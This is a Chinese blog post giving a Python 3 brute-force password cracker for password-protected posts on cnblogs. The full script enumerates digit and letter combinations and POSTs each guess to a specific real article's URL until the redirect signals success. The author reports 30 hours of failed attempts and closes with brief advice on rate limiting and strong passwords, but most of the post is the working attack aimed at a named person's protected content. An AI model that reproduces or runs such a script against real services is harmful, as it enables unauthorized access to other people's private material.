python3实现暴力穷举博客园密码

作者:黑暗圣堂武士 时间:2022-10-24 22:38:21 

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会 * !!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。


"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
 iter = ['1234567890',
     'abcdefghijklmnopqrstuvwxyz',
     'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

]
 for r in iter:
   for repeat in range(1,x+1):
     for ps in product(r,repeat=repeat):
       yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
 url = url.replace("/post/readauth?url=", "")
 for ps in tqdm(psgen(6)):
   try:
     rs=post(url,data={'tb_password':ps},allow_redirects=1)
     if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
       with open("resut.csv","a+") as f:
         f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
       break
   except:
     sleep(1)
     pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

标签:python3,穷举密码
0
投稿

猜你喜欢

  • Python图片处理之图片采样处理详解

    2021-01-14 12:58:36
  • ASP中的301跳转和302跳转

    2008-08-06 18:40:00
  • 浅析webpack-bundle-analyzer在vue-cli3中的使用

    2024-05-28 16:09:50
  • python实现中文转换url编码的方法

    2021-05-26 08:46:57
  • Mysql锁机制之行锁、表锁、死锁的实现

    2024-01-26 08:29:43
  • 基于Python实现打哈欠检测详解

    2021-12-10 06:50:45
  • Python深拷贝与浅拷贝用法实例分析

    2023-11-06 01:25:04
  • PHP使用PHPexcel导入导出数据的方法

    2024-05-13 09:21:10
  • Python+selenium实现趣头条的视频自动上传与发布

    2022-03-23 10:27:43
  • 简述Python2与Python3的不同点

    2023-03-25 10:22:10
  • 解决Python 爬虫URL中存在中文或特殊符号无法请求的问题

    2022-04-17 13:47:18
  • mysql 动态执行存储过程语句

    2024-01-27 01:54:38
  • Python列表对象实现原理详解

    2022-09-07 10:24:58
  • 编辑BLOG文章的一些好习惯

    2007-11-15 06:35:00
  • Python之tkinter进度条Progressbar用法解读

    2023-07-15 17:14:57
  • 深入理解javascript中defer的作用

    2024-04-16 10:32:55
  • python 爬取腾讯视频评论的实现步骤

    2021-06-19 03:57:58
  • 优雅的使用javascript递归画一棵结构树示例代码

    2024-04-30 08:52:22
  • pytorch实现图像识别(实战)

    2022-10-03 01:19:03
  • pytorch点乘与叉乘示例讲解

    2021-01-24 15:43:15
  • asp之家 网络编程 m.aspxhome.com